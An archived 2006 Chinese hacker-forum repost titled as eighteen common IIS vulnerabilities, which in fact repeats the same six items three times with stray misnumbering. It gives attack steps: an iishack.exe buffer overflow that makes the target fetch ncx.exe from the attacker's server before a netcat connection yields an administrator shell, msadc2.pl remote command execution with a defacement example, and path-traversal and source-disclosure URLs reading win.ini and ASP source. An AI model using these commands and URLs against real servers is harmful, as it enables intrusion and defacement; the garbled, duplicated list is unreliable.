邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2006-1-16 14:43

[转载]IIS中常见的十八个安全漏洞

<P>信息来源:中国站长站</P>
<P><STRONG>1. iis4hack缓冲溢出</STRONG> </P>
<P>主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器: </P>
<P>c:>iishack.exe <VICTIM>80 <YOUR web server>/ncx.exe <BR>然后你就使用netcat来连接你要检测的服务器: <BR>c:>nc <VICTIM>80 <BR>如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip </P>
<P><STRONG>2.msadc</STRONG> </P>
<P>IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help </P>
<CENTER><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>  [quack@chat quack]$ perl msadc2.pl -h

  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --

  Usage: msadc.pl -h { -d -X -v }

  -h = host you want to scan (ip or domain)

  -d = delay between calls, default 1 second

  -X = dump Index Server path table, if available

  -N = query VbBusObj for NetBIOS name

  -V = use VbBusObj instead of ActiveDataFactory

  -v = verbose

  -e = external dictionary file for step 5

  -u <\hostsharefile> = use UNC file

  -w = Windows 95 instead of Windows NT

  -c = v1 compatibility (three step query)

  -s = run only step

  Or a -R will resume a (v2) command session

  [quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/

  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --

  Type the command line you want to run (cmd /c assumed):

  cmd /c</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR></CENTER>
<P><BR><BR></P>
<P>如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的: </P>
<P>echo hacked by me > d:inetpubwwwrootvictimwebindex.htm </P>
<P><STRONG>3.Codebrws.asp</STRONG> </P>
<P></P>
<P>察看文件源代码 <BR>[url]http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp[/url] </P>
<P><STRONG>4.Showcode.asp</STRONG> </P>
<P>察看文件源代码 <BR>[url]http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini[/url] </P>
<P><STRONG>5.Null.htw</STRONG> </P>
<P>察看文件源代码 <BR>[url]http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full[/url] </P>
<P><STRONG>6.webhits.dll & .htw</STRONG> <BR>hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目: </P>
<P>[url]http://www.victim.com/nosuchfile.htw[/url] 如果你从服务器端获得如下信息: </P>
<P>format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消 </P>
<P>这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序: </P>
<CENTER><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>  /iissamples/issamples/oop/qfullhit.htw

  /iissamples/issamples/oop/qsumrhit.htw

  /isssamples/exair/search/qfullhit.htw

  /isssamples/exair/search/qsumrhit.htw

  /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

  一个攻击者可以使用如下的方法来访问系统中文件的内容:

  [url]http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?[/url]

  ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR></CENTER>
<P><BR>就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL: <A href="http://www.victim.com/default.asp::$DATA">[url]http://www.victim.com/default.asp::$DATA[/url]</A>你就得到了源代码 </P>
<P><STRONG>7. iis4hack缓冲溢出</STRONG> </P>
<P></P>
<P>主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:</P>
<P>c:>iishack.exe <VICTIM>80 <YOUR web server>/ncx.exe<BR>然后你就使用netcat来连接你要检测的服务器:<BR>c:>nc <VICTIM>80<BR>如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip </P>
<P><STRONG>8.msadc</STRONG> </P>
<P>IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help </P>
<CENTER><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>  [quack@chat quack]$ perl msadc2.pl -h

  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --

  Usage: msadc.pl -h { -d -X -v }

  -h = host you want to scan (ip or domain)

  -d = delay between calls, default 1 second

  -X = dump Index Server path table, if available

  -N = query VbBusObj for NetBIOS name

  -V = use VbBusObj instead of ActiveDataFactory

  -v = verbose

  -e = external dictionary file for step 5

  -u <\hostsharefile> = use UNC file

  -w = Windows 95 instead of Windows NT

  -c = v1 compatibility (three step query)

  -s = run only step

  Or a -R will resume a (v2) command session

  [quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/

  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --

  Type the command line you want to run (cmd /c assumed):

  cmd /c</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR></CENTER>
<P><BR>如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的:<BR>echo hacked by me > d:inetpubwwwrootvictimwebindex.htm </P>
<P><STRONG>9.Codebrws.asp</STRONG> </P>
<P></P>
<P>察看文件源代码<BR>[url]http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp[/url] </P>
<P><STRONG>10.Showcode.asp</STRONG> </P>
<P>察看文件源代码 <BR>[url]http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini[/url] </P>
<P><STRONG>11.Null.htw</STRONG> </P>
<P>察看文件源代码 <BR>[url]http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full[/url] </P>
<P><STRONG>12.webhits.dll & .htw</STRONG> </P>
<P>hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目: <BR>[url]http://www.victim.com/nosuchfile.htw[/url] 如果你从服务器端获得如下信息: </P>
<P>format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消 </P>
<P>这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序: </P>
<CENTER><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>  /iissamples/issamples/oop/qfullhit.htw

  /iissamples/issamples/oop/qsumrhit.htw

  /isssamples/exair/search/qfullhit.htw

  /isssamples/exair/search/qsumrhit.htw

  /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

  一个攻击者可以使用如下的方法来访问系统中文件的内容:

  [url]http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?[/url]

  ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR></CENTER>
<P>就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL: <A href="http://www.victim.com/default.asp::$DATA">[url]http://www.victim.com/default.asp::$DATA[/url]</A>你就得到了源代码</P>
<P><STRONG>13. iis4hack缓冲溢出</STRONG> </P>
<P></P>
<P>主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器: <BR>c:>iishack.exe <VICTIM>80 <YOUR web server>/ncx.exe <BR>然后你就使用netcat来连接你要检测的服务器: <BR>c:>nc <VICTIM>80 <BR>如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip </P>
<P><STRONG>14.msadc</STRONG> </P>
<P>IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help </P>
<CENTER><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>  [quack@chat quack]$ perl msadc2.pl -h

  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --

  Usage: msadc.pl -h { -d -X -v }

  -h = host you want to scan (ip or domain)

  -d = delay between calls, default 1 second

  -X = dump Index Server path table, if available

  -N = query VbBusObj for NetBIOS name

  -V = use VbBusObj instead of ActiveDataFactory

  -v = verbose

  -e = external dictionary file for step 5

  -u <\hostsharefile> = use UNC file

  -w = Windows 95 instead of Windows NT

  -c = v1 compatibility (three step query)

  -s = run only step

  Or a -R will resume a (v2) command session

  [quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/

  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --

  Type the command line you want to run (cmd /c assumed):

  cmd /c</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR></CENTER>
<P><BR>如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的:<BR>echo hacked by me > d:inetpubwwwrootvictimwebindex.htm </P>
<P><STRONG>15.Codebrws.asp</STRONG> </P>
<P>察看文件源代码 <BR>[url]http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp[/url] </P>
<P><STRONG>16.Showcode.asp</STRONG> </P>
<P>察看文件源代码 <BR>[url]http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini[/url] </P>
<P><STRONG>17.Null.htw</STRONG> </P>
<P>察看文件源代码 <BR>[url]http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full[/url] </P>
<P><STRONG>18.webhits.dll & .htw</STRONG> </P>
<P>hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目: <BR>[url]http://www.victim.com/nosuchfile.htw[/url] 如果你从服务器端获得如下信息: <BR>format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序: </P>
<CENTER><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>  /iissamples/issamples/oop/qfullhit.htw

  /iissamples/issamples/oop/qsumrhit.htw

  /isssamples/exair/search/qfullhit.htw

  /isssamples/exair/search/qsumrhit.htw

  /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

  一个攻击者可以使用如下的方法来访问系统中文件的内容:

  [url]http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?[/url]

  ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR></CENTER>
<P><BR>就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL:[url]http://www.victim.com/default.asp::$DATA[/url]你就得到了源代码</P>

页: [1]
© 1999-2008 EvilOctal Security Team